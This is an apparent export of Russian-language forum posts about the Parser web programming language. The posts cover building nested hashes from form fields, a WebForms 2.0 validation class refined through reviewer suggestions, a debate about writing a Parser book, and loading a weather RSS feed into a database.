"60606","В общем заинтересовала меня [url=\"http://www.parser.ru/forum/?id=59875\"]идея Азата Разетдинова[/url].\
Но метод предложенный им мне показался не полным, т.к. у меня поля бывают:\
group1.group2.param\
Нужен был мне метод, который делает хеш с множественными уровнями. Разумеется я попытался его написать.\
\
Получилось вот что:\
[code]\
@parseForm[][hForm;aForm;_hForm;jCheck]\
$result[^hash::create[]] \
\
^form:fields.foreach[sFieldName;]{\
#	getting form field\
	$hForm[^self._parseFormField[$sFieldName]] \
\
	^rem{ *** creating result hash *** }\
	\
#	declaring variables (for recursion)\
	$aForm[$hForm] \
	$_hForm[$result] \
\
	$jCheck{\
		^if($aForm is 'hash'){\
			^aForm.foreach[sName;aBody]{\
\
				^if(!def $_hForm.[$sName]){\
					$_hForm.[$sName][^hash::create[]] \
				}\
\
				$aForm[$aBody] \
				$_hForm[$_hForm.[$sName]] \
\
				$jCheck\
			}\
		}\
	}\
\
	$jCheck\
	\
	^rem{ *** END creating result hash *** }\
}\
\
$result[$result]\
#end @parseForm[]\
\
\
\
@_parseFormField[strField][tMatches;sField]\
$tMatches[^strField.match[^^(\\w+)[\\.]?][']] \
\
^if(def $tMatches.1){\
\
	^if(!def $sField){\
		$sField[$strField] \
	}\
\
	$result[^hash::create[]] \
	$result.[$tMatches.1][^self._parseFormField[$tMatches.postmatch]]\
\
}{\
	$result[$form:tables.[$sField]] \
}\
#end @_parseFormField[]\
[/code]\
\
НО результата я не добился... Т.к. мне нужно еще и присвоить значение в хэше.\
Я думал думал и не додумал.\
\
Был бы рад услышать совет.\
\
P.S.\
Метод @_parseFormField[] выводит хэш поля с таблицей значений.\
Т.е. передать ему \"about.config.name\", то получится:\
[code]\
$.about[\
	$.config[\
		$.name[ЗДЕСЬ ЗНАЧЕНИЕ ИЗ $form:tables.[about.config.name]]\
	]\
]\
[/code]"
"60608","Ищем книги на books.ru\
http://www.books.ru/shop/search?search_type=+&query=parser&x=0&y=0\
\
Вопрос: не возникало ли у кого-нибудь желания написать и издать (я думаю это не проблема), книгу про parser etc."
"60609","Судя по документации, о языке там написано довольно подробно.\
Мелкие подробности можно найти в форуме.\
\
По мне Парсер не столь мощный язык (в плане количества функций, как к примеру тот же PHP), чтобы издавать книгу. Может быть если бы было что-то серьезное в сети, что интересовало публику и написанное на Parser'е, то может и был интерес в книги.\
\
А пока я думаю мало о чем напишешь, кроме как \"прольешь воду\".\
\
P.S. Если кто знает, поправьте меня."
"60610","вот первое что пришло в голову:\
[code]\
@main[]\
.......\
$hForm[^parseForm[]]\
.......\
\
\
####################################################################################################\
@parseForm[][t;k;v;h;result]\
$result[^hash::create[]]\
$h[$result]\
^form:fields.foreach[k;v]{\
	$t[^k.split[.]]\
	^t.menu{\
		^if(^t.line[] != ^t.count[]){\
			^if(!def $h.[$t.piece]){\
				$h.[$t.piece][^hash::create[]]\
			}\
			$h[$h.[$t.piece]]\
		}{\
			$h.[$t.piece][$v]\
		}\
	}\
	$h[$result]\
	\
}\
#end @parseForm[][t;k;v;result]\
[/code]\
\
создает хеш согласно поставленной вами задачи, единственное что в форме не должно быть ситуаций\
<input name=\"test\" value=\"1\">\
<input name=\"test.test2\" value=\"2\">\
потому что непонятно как трактовать в таком случае test как хэш или как строку, при желании можете добавить и обработку таких ситуаций"
"60615","Отдельным полем формы передается информация о том, какие поля придут - на тот случай, если их не хочется получать перебором или значения множественные.\
< input name=expecting value=\"id1,id24,id190,by=id\">\
$fields[^str2tbl[$form:expecting;=;,]]\
ну и в том же духе. \
А конструктора ^hash::create[string], конечно же, немного не хватает..."
"60616","Решил реализовать [url=http://web-tech.livejournal.com/817.html]давнюю идею[/url] и написал класс для серверной валидации форм с использованием атрибутов, описанных в [url=http://www.whatwg.org/specs/web-forms/current-work/]WebForms 2.0[/url]\
\
Основные положения:\
\
1. Все элементы формы называются field (это не описано в WebForms, но используется мной в xml-представлении формы).\
\
2. Допустимы следующие дополнительные типы: datetime, datetime-local, date, time, month, week, time, number, range, email, url.\
\
3. Допустимы следующие допольнительные атрибуты: required (поле должно быть заполнено), pattern (поле должно [i]целиком[/i] соответствовать этому регулярному выражению), title (выводится, если поле не соответствует pattern), customError (флаг, задаётся скриптом, выводящим xml формы), validationMessage (выводится, если горит флаг customError).\
\
4. В процессе валидации у элементов формы могут появиться следующие атрибуты-флаги (для последующей обработки в xslt): valueMissing (поле имеет атрибут required, но не заполнено), patternMismatch (поле имеет атрибут pattern, но не соответствует ему), typeMismatch (поле не соответствует своему типу), tooLong (длина поля превышает значение атрибута maxlength), valid=1/0 (равен нулю, если горит любой из предыдущих).\
\
Недостатки:\
\
1. Класс не умеет работать со зависимыми полями/блоками.\
\
2. Поля title и validationMessage языкозависимы. Впрочем, этим занимается xslt, сам класс с этими атрибутами не работает.\
\
Пример использования:\
\
[code]# выбираем все формы\
$hForms[^xPage.select[//form]]\
^for[i](0;$hForms-1){\
#	выбираем все кнопки формы\
	$hButtons[^hForms.$i.select[//field[@type='submit']]]\
	^for[j](0;$hButtons-1){\
		$sAction[^hButtons.$j.getAttribute[name]]\
#		если пользователь нажал на одну из них\
		^if(def $form:$sAction && $$sAction is junction){\
			^use[WebForms.p]\
#			и форма прошла валидацию\
			^if(^WebForms:checkValidity[$hForms.$i]){\
#				вызываем одноименный метод\
				^self.$sAction[]\
			}\
		}\
	}\
}\
[/code]\
\
Пример xslt-кода:\
\
[code]<xsl:if test='@valid = 0'>\
	<span class='alert'>\
		<xsl:if test='@valueMissing'>\
			<br /><xsl:value-of select='$locale/form/valueMissing'/>\
		</xsl:if>\
		<xsl:if test='@typeMismatch'>\
			<br /><xsl:value-of\
			select='$locale/form/typeMismatch[@type=current()/@type]'/>\
		</xsl:if>\
		<xsl:if test='@tooLong'>\
			<br /><xsl:value-of select='$locale/form/tooLong'/>\
			<xsl:text> </xsl:text><xsl:value-of select='@maxlength'/>\
		</xsl:if>\
		<xsl:if test='@patternMismatch'>\
			<br /><xsl:value-of select='@title'/>\
		</xsl:if>\
		<xsl:if test='@customError'>\
			<br /><xsl:value-of select='@validationMessage'/>\
		</xsl:if>\
	</span>\
</xsl:if>[/code]\
\
Собственно, сам класс:\
\
[code]@CLASS\
WebForms\
\
@USE\
Lib.p\
\
\
\
@auto[]\
$reDate[\\d{4}-\\d{2}-\\d{2}]\
$reTime[\\d{4}:\\d{2}(?::\\d{2}(?:\\.\\d+)?)?]\
$reNumber[-?\\d+(?:\\.\\d+)?(?:e\\d+)?]\
$reUrl[(?:[a-z]+://)?[:\\w~%{}./?=&@,#-]+]\
#end @auto[]\
\
\
\
@checkValidity[xForm][i;hFields;hAttr;sName;xAttr]\
$hFields[^xForm.select[//field]]\
^for[i](0;$hFields-1){\
	$hAttr[^hFields.$i.attributes.foreach[sName;xAttr]{\
		$.$sName[$xAttr.value]\
	}]\
	^hFields.$i.setAttribute[valid;1]\
	^if(def $hAttr.value){\
		^switch[$hAttr.type]{\
			^case[datetime]{\
				^if(!^hAttr.value.match[^^${reDate}T$reTime^$]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
			^case[datetime-local]{\
				^if(!^hAttr.value.match[^^${reDate}T${reTime}Z^$]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
			^case[date]{\
				^if(!^hAttr.value.match[^^$reDate^$]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
			^case[month]{\
				^if(!^hAttr.value.match[^^\\d{4}-\\d{2}^$]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
			^case[week]{\
				^if(!^hAttr.value.match[^^\\d{4}-W\\d{2}^$]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
			^case[time]{\
				^if(!^hAttr.value.match[^^$reTime^$]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
			^case[number;range]{\
				^if(!^hAttr.value.match[^^$reNumber^$]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
			^case[email]{\
				^if(!^Lib:isEmail[$hAttr.value]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
			^case[url]{\
				^if(!^hAttr.value.match[^^$reUrl^$]){\
					^hFields.$i.setAttribute[typeMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}\
		}\
		^if(^hFields.$i.getAttribute[valid] == 1){\
			^if(\
				^hAttr.maxlength.int(0)\
				&& ^hAttr.value.length[] > ^hAttr.maxlength.int(0)\
			){\
				^hFields.$i.setAttribute[tooLong;1]\
				^hFields.$i.setAttribute[valid;0]\
			}\
		}\
		^if(def $hAttr.pattern){\
			^try{\
				^if(!^hAttr.value.match[^^(?:$hAttr.pattern)^$]){\
					^hFields.$i.setAttribute[patternMismatch;1]\
					^hFields.$i.setAttribute[valid;0]\
				}\
			}{\
				$exception.handled(true)\
			}\
		}\
	}{\
		^if(def $hAttr.required){\
			^hFields.$i.setAttribute[valueMissing;1]\
			^hFields.$i.setAttribute[valid;0]\
		}\
	}\
	^if(def $hAttr.customError){\
		^hFields.$i.setAttribute[valid;0]\
	}\
}\
$result(!^xForm.select[//field[@valid = 0]])\
#end @checkValidity[][/code]\
\
Комментарии и замечания, как всегда, приветствуются."
"60617","1. @USE\\Lib.p => ^use[Lib.p] и поместить внутрь соотв. case\
2. константу 'field' -- в @auto[]\
3. maxlength надо проверять даже если .getAttribute[valid] == 0, иначе сразу не найдём эту ошибку, и посетителю придется постить данные повторно.\
4. если у field нет ни одного аттрибута -- будет ошибка тут: ^if(def $hAttr.value) (если используете Lib.p, то наверняка подключен и Node.p, тогда: $hAttr[^Node:getAttributes[$hFields.$i]] )\
5. так ли нужна тут правильная последовательность элементов? (^for[i](0;$hFields-1)) может foreach?\
6. вас не смутило такое количество одинакового кода? я бы написал отдельный метод:\
[code]\
@checkNode[xNode;jIsValid]\
^if(!$jIsValid){\
	^xNode.setAttribute[typeMismatch;1]\
	^xNode.setAttribute[valid;0]\
}\
$result[]\
[/code]\
\
и вызывал-бы:\
\
[code]\
...\
^case[week]{\
	^checkNode[$hFields.$i](^hAttr.value.match[^^\\d{4}-W\\d{2}^$]))\
}\
...\
[/code]\
\
P.S. хотя на самом деле я в этот метод унёс бы и доставание value у node и в зависимости от .type сам бы брял нужный regexp, которые я сложил бы в хеш вместо $reDate & Co\
\
P.P.S. блин, подумал что в @Node:foreachChild надо sNameAttr заменить на sAttr и если задано -- класть туда $caller.$sAttr[^self.getAttributes[$xNode]]"
"60618","Вопросы сюда info@eterna-izdat.ru )))\
А к книге еще диск сделать...\
И помочь с раскруткой технологии в интернете, и облошку в design.ru заказать...)"
"60619","Исправленный вариант:\
\
[code]@CLASS\
WebForms\
\
@USE\
Node.p\
\
\
\
@auto[]\
$FIELD[field]\
$MATCHES[\
	$.date[\\d{4}-\\d{2}-\\d{2}]\
	$.month[\\d{4}-\\d{2}]\
	$.week[\\d{4}-W\\d{2}]\
	$.time[\\d{4}:\\d{2}(?::\\d{2}(?:\\.\\d+)?)?]\
	$.url[(?:[a-z]+://)?[:\\w~%{}./?=&@,#-]+]\
	$.number[-?\\d+(?:\\.\\d+)?(?:e\\d+)?]\
]\
^MATCHES.add[\
	$.range[$MATCHES.number]\
	$.datetime[${MATCHES.date}T${MATCHES.time}Z]\
	$.datetime-local[${MATCHES.date}T$MATCHES.time]\
]\
#end @auto[]\
\
\
\
@checkValidity[xForm][hNodes;xNode]\
$hNodes[^xForm.select[//$FIELD]]\
^hNodes.foreach[;xNode]{^checkNode[$xNode]}\
$result(^xForm.selectBool[not(//${FIELD}[@valid = 0])])\
#end @checkValidity[]\
\
\
\
@checkNode[xNode][hAttr;bIsValid]\
$hAttr[^Node:getAttributes[$xNode]]\
^xNode.setAttribute[valid;1]\
^if(def $hAttr.value){\
	^if($hAttr.type eq email){\
		^use[Lib.p]\
		$bIsValid(^Lib:isEmail[$hAttr.value])\
	}{\
		$bIsValid(\
			!def $MATCHES.[$hAttr.type]\
			|| ^hAttr.value.match[^^$MATCHES.[$hAttr.type]^$]\
		)\
	}\
	^if(!$bIsValid){\
		^xNode.setAttribute[typeMismatch;1]\
		^xNode.setAttribute[valid;0]\
	}\
	^if(def $hAttr.maxlength && ^hAttr.value.length[] > ^hAttr.maxlength.int(0)){\
		^xNode.setAttribute[tooLong;1]\
		^xNode.setAttribute[valid;0]\
	}\
	^if(def $hAttr.pattern){\
		^try{\
			^if(!^hAttr.value.match[^^(?:$hAttr.pattern)^$]){\
				^xNode.setAttribute[patternMismatch;1]\
				^xNode.setAttribute[valid;0]\
			}\
		}{\
			$exception.handled(1)\
		}\
	}\
}{\
	^if(def $hAttr.required){\
		^xNode.setAttribute[valueMissing;1]\
		^xNode.setAttribute[valid;0]\
	}\
}\
^if(def $hAttr.customError){\
	^xNode.setAttribute[valid;0]\
}\
$result[]\
#end @checkNode[][/code]\
\
P.S. Про ^Node:getAttributes[] не знал, пока не скачал новую версию. У вас там в двух местах есть конструкция\
\
[code](!def $sNodeName || (def $sNodeName && $xNode.nodeName eq $sNodeName))[/code]\
\
которую можно сократить до\
\
[code](!def $sNodeName || $xNode.nodeName eq $sNodeName)[/code]"
"60620","..в коллекционном издании, с автографами, красочной картонной обложкой, ограниченным тиражом и т.д. и т.п. :)"
"60622","^xNode.setAttribute[valid;1|0]\
=>\
$bIsValid(true|false)\
+ в конце один раз:\
^xNode.setAttribute[valid;^if($bIsValid){1;0}]\
\
P.S. подправил\
P.P.S. у Node:foreach и Node:foreachChild изменил интерфейсы. теперь так: \
[code]\
@foreach[hNodeList;hNodeName;sNode;sAttr;jCode;sSeparator]\
...\
\
@foreachChild[xParent;hNodeName;sNode;sAttr;jCode;sSeparator]\
...\
[/code]\
\
соотв, использовать можно будет так:\
[code]\
^Node:foreachChild[$xDoc.documentElement;$.item[1]$.zigi[1];xNode;hAttr]{\
	$xNode.nodeName: ^hAttr.foreach[k;v]{$k=\"$v\"}[, ]\
}[<br />]\
[/code]\
\
приведённый пример переберёт все child у documentElement (dom методами, с помощью nextSibling, т.е. сохраняя последовательность), и если имя ноды item или zigi -- то в $xNode положит ссылку на ноду, в $hAttr -- хеш со всеми аттрибутами ноды и выполнит код, в котором это будет доступно (ну и про separator не забудет)\
\
если не указать hAttr -- то аттрибуты доставаться не будут.\
\
раньше можно было указать только одно nodeName и доставались не все аттрибуты, а только name. там где я это использовал потребуются лишние телодвижения, но метод в более общем виде.\
\
Node:foreach -- аналогично, только перебираются элементы переданного хеша (можно достать с помощью xpath), также теперь будет сохранять исходный порядок (внутри for вместо foreach)."
"60623","... но мне кажется это не лучший способ для привлечения людей. Возможно другой вид рекламы подошел бы.\
\
Хотя кто бы знал Ruby если бы не было Ruby On Rails?..."
"60624","Справочник никому будет не интересен, т.к. программистам проще использовать электронные справочники. Книга хороша тем, что можно развалившись на диване почитать ее за чашечкой кофе-коньяка.\
\
Для книг по языка программирования лучше всего подходит метод проектов: читатель на протяжении всей книги вместе с автором создает по шагам один большой проект, по шагам рассматривая основные аспекты работы с языком. Получается что-то вроде \"истории с счастливым концом\" *-).\
\
Еще одни плюс такого рода подхода заключается в том, что одну книгу могут писать сразу несколько человек. Каждый будет описывать по свою часть проекта.\
\
Что-то вроде книги мы видим в разделе \"[url=\"http://www.parser.ru/docs/\"]ДОКУМЕНТАЦИЯ[/url]\". Только там все дано поверхностно и кусками (т.к. никто не ставил перед собой написать цельный учебник).\
\
Книга нужна, она будет интересна. У меня есть опыт создания учебников по различным программам и этот опыт показывает, что такой подход себя оправдывает.\
\
Популяризация языка нужна, т.к. новые люди принесут новые идеи и помощь, а она еще как нужна, тем более, в таком проекте как язык программирования.\
\
В качестве идеи для проекта могу предложить самую явную задачу, которая стоит пред любым web-программистом - создание своей CMS-системы."
"60625","Насчет CMS.\
Parser и Engine - это вещи которые созданы друг для друга. Мне кажется нужен хороший проект, основанный на этой связке и тем более который был бы OpenSource."
"60626","Вобщем такая проблема, есть локалка, в ней есть много компов, у некоторых есть выход в интернет. а теперь проблема, нужно сделать так чтобы любой пользователь компьютера смог смотреть прогноз погоды на локальном сайте.\
\
Сейчас у меня такая идея. я беру с сайта gismeteo.ru файл xml и загружаю его на сайт (локалки), после произвожу его обработку, и обработанные данные мне каким то образом нужно залить в БД\
\
\
после того как данные залиты в БД.. любой пользователь сети смодет посмотреть погоду на локальном сайте, не имя выхода в интеренет.\
\
Сейчас на данном этапе сделал БД, сделал вывод погоды (данные пока указываю вручную...)\
\
как мне сделать чтобы данные с файла xml на автомате заносились в БД, еще лучше если это поставить в задание на сервере.\
\
спасибо. может у кого то другие есть предложения по организации этой идеи ?"
"60627","Книга -- замечательная вещь, которая поможет пополнить знания, улучшить работу кодера и т. п., но самый главный плюс бумажного издания -- ее можно читать при наличии свободного времени в метро, на  диване, и простите, даже в туалете.\
\
Скрестить парсер и энжин -- это привелегия программиста.\
Ну, и пиар тоже не помеха."
"60628","Методы решения.\
\
[i]Первый[/i]. XSLT. Проходим по дереву XML, удаляем избыточные данные (если такие имеются), заносим в базу строковое представление XML, затем, когда настанет время вынимаем и преобразуем в нужную структуру с отображением на сайте.\
\
[i]Второй[/i]. Text. Проходим по дереву XML, выбираем необходимые элементы с атрибутами, заносим в базу (организация данных в таблице подразумевается заранее). Выбираем при необходимости.\
\
Если будут поля в таблице идентичные именам элементов XML -- это плюс, так как будет проще код (не забываем добавлять префикс на случай, если элемент будет называться зарезервированным словом выбранной базы данных, например, [i]desc[/i]).\
\
Обновление: автоматически, если на сервере есть возможность запускать демон по расписанию; вручную и т. д."
"60629","проблему вижу я, вот код XML\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<rss xmlns:gismeteo=\"http://www.gismeteo.ru\" version=\"2.0\">\
 <channel>\
  <title>GISMETEO.RU: Погода от ФОБОС и Мэп Мейкер</title>\
  <link>http://www.gismeteo.ru</link>\
  <description>Прогноз погоды по 4500+ городам России и Мира</description>\
  <ttl>60</ttl>\
  <image>\
   <title>GISMETEO.RU: Погода от ФОБОС и Мэп Мейкер</title> \
   <width>142</width> \
   <height>18</height> \
   <link>http://www.gismeteo.ru</link> \
   <url>http://img.gismeteo.ru/images/gismeteo2.gif</url> \
  </image>\
  <item>\
   <title>Тюмень: День 18 мая, Пт</title>\
   <link>http://www.gismeteo.ru/towns/28367.htm?1062239</link>\
   <description>облачно, без осадков, температура +21..+23 С, давление 747..749 мм рт.ст., ветер Западный, 4 \
\
м/с</description>\
   <category>Погода</category>\
   <enclosure url=\"http://img.gismeteo.ru/images/suncl.gif\" length=\"2000\" type=\"image/gif\" />\
   <source url=\"http://informer.gismeteo.ru/rss/28367.xml\">GISMETEO.RU: Погода в г. Тюмень</source>\
   <guid>1061568</guid>\
  </item>\
  <item>\
   <title>Тюмень: Вечер 18 мая, Пт</title>\
   <link>http://www.gismeteo.ru/towns/28367.htm?1049300</link>\
   <description>пасмурно, без осадков, температура +21..+23 С, давление 747..749 мм рт.ст., ветер Западный, 4 \
\
м/с</description>\
   <category>Погода</category>\
   <enclosure url=\"http://img.gismeteo.ru/images/moond.gif\" length=\"2000\" type=\"image/gif\" />\
   <source url=\"http://informer.gismeteo.ru/rss/28367.xml\">GISMETEO.RU: Погода в г. Тюмень</source>\
   <guid>1065760</guid>\
  </item>\
  <item>\
   <title>Тюмень: Ночь 19 мая, Сб</title>\
   <link>http://www.gismeteo.ru/towns/28367.htm?1074000</link>\
   <description>пасмурно, временами ливни, температура +17..+19 С, давление 747..749 мм рт.ст., ветер Западный, 3 \
\
м/с</description>\
   <category>Погода</category>\
   <enclosure url=\"http://img.gismeteo.ru/images/moond.gif\" length=\"2000\" type=\"image/gif\" />\
   <source url=\"http://informer.gismeteo.ru/rss/28367.xml\">GISMETEO.RU: Погода в г. Тюмень</source>\
   <guid>1054587</guid>\
  </item>\
  <item>\
   <title>Тюмень: Утро 19 мая, Сб</title>\
   <link>http://www.gismeteo.ru/towns/28367.htm?1027931</link>\
   <description>облачно, без осадков, температура +13..+15 С, давление 749..751 мм рт.ст., ветер Северо-Западный, 3 \
\
м/с</description>\
   <category>Погода</category>\
   <enclosure url=\"http://img.gismeteo.ru/images/suncl.gif\" length=\"2000\" type=\"image/gif\" />\
   <source url=\"http://informer.gismeteo.ru/rss/28367.xml\">GISMETEO.RU: Погода в г. Тюмень</source>\
   <guid>1039020</guid>\
  </item>\
 </channel>\
</rss>\
[/code]\
\
Днные выводятся на четыре этапа дня (ночь, утро, день, вечер)\
соответственной структура таблицы у меня идет тоже \
  date date\
  temp_utro text \
  temp_den text \
  temp_vecher text \
  temp_noch text \
  davlenie_utro text \
  davlenie_den text \
  davlenie_vecher text \
  davlenie_noch text \
  vlazhnost_utro text \
  vlazhnost_den text \
  vlazhnost_vecher text \
  vlazhnost_noch text \
  veter_utro text \
  veter_den text \
  veter_vecher text \
  veter_noch text \
  PRIMARY KEY  (Id)\
\
1. Как разбить данные на отдельные поля таблицы ?\
было бы легко если весь полученный текст поместить одной строкой, но тогда нет наглядности.\
\
2. Каким образом отформатированный потом файлик залить в таблицу ? (OS Server 2003)"
"60630","[code]\
$hItems[^xGismeteo.select[/channel/item]]\
\
^for[i](0;$hItems-1){\
#	здесь перебор значений хэша\
}\
[/code]\
\
title я был разбирал с помощью regexp:\
[code]\
...match[^^(\\w+)\\:\\s(\\w+)\\s(\\d+)\\s(\\w+)\\,\\s(\\w+)^$]...\
[/code]"
"60631","только не понял как же потом из уже готового отфарматированного файла все в базу занести ?"
"60632","Вы не знакомы с синтаксисом SQL?\
\
[code]\
^oSQL.void{\
	INSERT INTO table_name (\
		date,\
		temp_utro,\
		...\
	) VALUES (\
		'^dtNow.sql-string[]',\
		...\
	)\
}\
[/code]"
"60636","вместо того чтобы написать 1 метод из 5ти строк и небольшой xslt шаблон\
который раз в сутки загрузит погоду и сделает html код для информера:\
[code]\
####################################################################################################\
@showWeatherInfo[][d;fRss;xRss;result]\
$d[^date::now[]]\
^cache[/../data/cache/yr/^math:md5[$d.year $d.month $d.day]](60*60*24){\
	$fRss[^file::load[text;тут ваш адрес удаленного xml]]\
	$xRss[^xdoc::create{^untaint{$fRss.text}}]\
	$xRss[^xRss.transform[/../data/templates/weather.xsl]] \
	^xRss.string[$.method[html]]\
}\
#end @showWeatherInfo[][result]\
[/code]\
вы делаете разбор дерева xml, сохраняете в базу,проверяете на уровне пользователей, делаете запросы, снова формируете html\
зачем вам это?"
"60637","Насчет Engine сказать ничего не могу, т.к. не разбирался с ним толком. Открытых проектов на его базе нет (по карайней мере, о них я не знаю).\
\
У меня есть собственный движек, но проблема в том, что кроме меня им никто не занимается толком - написать отдельные главы другим людям будет проблематично.\
\
Сам процес проектирования книги может породить новый проект, однако, в любом случае, нужно от чего-то отталкиваться."
"60638","1. Добавил поддержку min/max (выдаются флаги rangeUnderFlow и rangeOverFlow).\
\
2. Добавил поддержку зависимых полей/блоков. Если поле или его предок (например, fieldset) имеют атрибут willValidate=0, то оно будет пропущено. Это оказалось проще, чем передавать логику зависимости в xml.\
\
3. Если поле содержит атрибут disabled или readonly, то оно также будет пропущено (согласно спецификации).\
\
Мои потребности класс уже удовлетворяет. Если есть идеи по расширению функциональности, можно обсудить.\
\
[code]@CLASS\
WebForms\
\
@USE\
Node.p\
\
\
\
@auto[]\
$FIELD[field]\
$MATCHES[\
	$.date[\\d{4}-\\d{2}-\\d{2}]\
	$.month[\\d{4}-\\d{2}]\
	$.week[\\d{4}-W\\d{2}]\
	$.time[\\d{4}:\\d{2}(?::\\d{2}(?:\\.\\d+)?)?]\
	$.url[(?:[a-z]+://)?[:\\w~%{}./?=&@,#-]+]\
	$.number[-?\\d+(?:\\.\\d+)?(?:e\\d+)?]\
]\
^MATCHES.add[\
	$.range[$MATCHES.number]\
	$.datetime[${MATCHES.date}T${MATCHES.time}Z]\
	$.datetime-local[${MATCHES.date}T$MATCHES.time]\
]\
#end @auto[]\
\
\
\
@checkValidity[xForm][hNodes;xNode]\
$hNodes[^xForm.select[//${FIELD}[	\
	not(@readonly or @disabled or ancestor-or-self::*[@willValidate=0])\
]]]\
^hNodes.foreach[;xNode]{^checkNode[$xNode]}\
$result(^xForm.selectBool[not(//${FIELD}[@valid = 0])])\
#end @checkValidity[]\
\
\
\
@checkNode[xNode][bIsValid;hAttr]\
$bIsValid(true)\
$hAttr[^Node:getAttributes[$xNode]]\
^if(def $hAttr.value){\
	^if(\
		def $MATCHES.[$hAttr.type]\
		&& !^hAttr.value.match[^^(?:$MATCHES.[$hAttr.type])^$]\
	){\
		^xNode.setAttribute[typeMismatch;1]\
		$bIsValid(false)\
	}\
	^if($bIsValid){\
		^switch[$hAttr.type]{\
			^case[email]{\
				^use[Lib.p]\
				^if(!^Lib:isEmail[$hAttr.value]){\
					^xNode.setAttribute[typeMismatch;1]\
					$bIsValid(false)\
				}\
			}\
			^case[number;range]{\
				^if(\
					^hAttr.min.double(0)\
					&& ^hAttr.value.double(0) < ^hAttr.min.double(0)\
				){\
					^xNode.setAttribute[rangeUnderFlow;1]\
					$bIsValid(false)\
				}\
				^if(\
					^hAttr.max.double(0)\
					&& ^hAttr.value.double(0) > ^hAttr.max.double(0)\
				){\
					^xNode.setAttribute[rangeOverFlow;1]\
					$bIsValid(false)\
				}\
			}\
			^case[date;time;datetime;datetime-local]{\
				^if(def $hAttr.min && $hAttr.value lt $hAttr.min){\
					^xNode.setAttribute[rangeUnderFlow;1]\
					$bIsValid(false)\
				}\
				^if(def $hAttr.max && $hAttr.value gt $hAttr.max){\
					^xNode.setAttribute[rangeOverFlow;1]\
					$bIsValid(false)\
				}\
			}\
		}\
	}\
	^if(\
		^hAttr.maxlength.int(0)\
		&& ^hAttr.value.length[] > ^hAttr.maxlength.int(0)\
	){\
		^xNode.setAttribute[tooLong;1]\
		$bIsValid(false)\
	}\
	^if(def $hAttr.pattern){\
		^try{\
			^if(!^hAttr.value.match[^^(?:$hAttr.pattern)^$]){\
				^xNode.setAttribute[patternMismatch;1]\
				$bIsValid(false)\
			}\
		}{\
			$exception.handled(true)\
		}\
	}\
}{\
	^if(def $hAttr.required){\
		^xNode.setAttribute[valueMissing;1]\
		$bIsValid(false)\
	}\
}\
^if(def $hAttr.customError){\
	$bIsValid(false)\
}\
^xNode.setAttribute[valid;^if($bIsValid){1;0}]\
$result[]\
#end @checkNode[][/code]"
"60639","У меня конкретно не получается, вероятно из-за более поздних версий компилятора и иже с ним. Может у кого-нибудь есть собранный или возможность собрать? А то срочно нужно, разобраться не успею.\
Платформа ix86."
"60642","\"глупые\" советы каждый раз вправляют мне мозги :-)"
"60643","1. \
[code]\
$bIsValid(true)\
=>\
$hError[^hash::create[]]\
[/code]\
\
2. все\
[code]\
^xNode.setAttribute[typeMismatch;1]\
$bIsValid(false)\
[/code]\
& Co\
=>\
[code]\
^hError.add[\
	$.typeMismatch[1]\
]\
[/code]\
т.е. в этом хеше у нас будут все накопленные ошибки проверок ноды\
\
3. в конце:\
[code]\
^xNode.setAttribute[valid;^if(!$hError){1;0}]\
^hError.foreach[k;v]{\
	^xNode.setAttribute[$k;$v]\
}[/code]\
т.е. запись аттрибутов будет локализовано"
"60644","[code]@CLASS\
WebForms\
\
@USE\
Node.p\
\
\
\
@auto[]\
$FIELD[field]\
$MATCHES[\
	$.date[\\d{4}-\\d{2}-\\d{2}]\
	$.month[\\d{4}-\\d{2}]\
	$.week[\\d{4}-W\\d{2}]\
	$.time[\\d{4}:\\d{2}(?::\\d{2}(?:\\.\\d+)?)?]\
	$.url[(?:[a-z]+://)?[:\\w~%{}./?=&@,#-]+]\
	$.number[-?\\d+(?:\\.\\d+)?(?:e\\d+)?]\
]\
^MATCHES.add[\
	$.range[$MATCHES.number]\
	$.datetime[${MATCHES.date}T${MATCHES.time}Z]\
	$.datetime-local[${MATCHES.date}T$MATCHES.time]\
]\
#end @auto[]\
\
\
\
@checkValidity[xForm][hNodes;xNode]\
$hNodes[^xForm.select[//${FIELD}[	\
	not(@readonly or @disabled or ancestor-or-self::*[@willValidate=0])\
]]]\
^hNodes.foreach[;xNode]{^checkNode[$xNode]}\
$result(^xForm.selectBool[not(//${FIELD}[@valid = 0])])\
#end @checkValidity[]\
\
\
\
@checkNode[xNode][k;v;hError;hAttr]\
$hError[^hash::create[]]\
$hAttr[^Node:getAttributes[$xNode]]\
^if(def $hAttr.value){\
	^if(\
		def $MATCHES.[$hAttr.type]\
		&& !^hAttr.value.match[^^(?:$MATCHES.[$hAttr.type])^$]\
	){\
		^hError.add[$.typeMismatch[1]]\
	}\
	^if(!$hError.typeMismatch){\
		^switch[$hAttr.type]{\
			^case[email]{\
				^use[Lib.p]\
				^if(!^Lib:isEmail[$hAttr.value]){\
					^hError.add[$.typeMismatch[1]]\
				}\
			}\
			^case[number;range]{\
				^if(\
					^hAttr.min.double(0)\
					&& ^hAttr.value.double(0) < ^hAttr.min.double(0)\
				){\
					^hError.add[$.rangeUnderFlow[1]]\
				}\
				^if(\
					^hAttr.max.double(0)\
					&& ^hAttr.value.double(0) > ^hAttr.max.double(0)\
				){\
					^hError.add[$.rangeOverFlow[1]]\
				}\
			}\
			^case[date;time;datetime;datetime-local]{\
				^if(def $hAttr.min && $hAttr.value lt $hAttr.min){\
					^hError.add[$.rangeUnderFlow[1]]\
				}\
				^if(def $hAttr.max && $hAttr.value gt $hAttr.max){\
					^hError.add[$.rangeOverFlow[1]]\
				}\
			}\
		}\
	}\
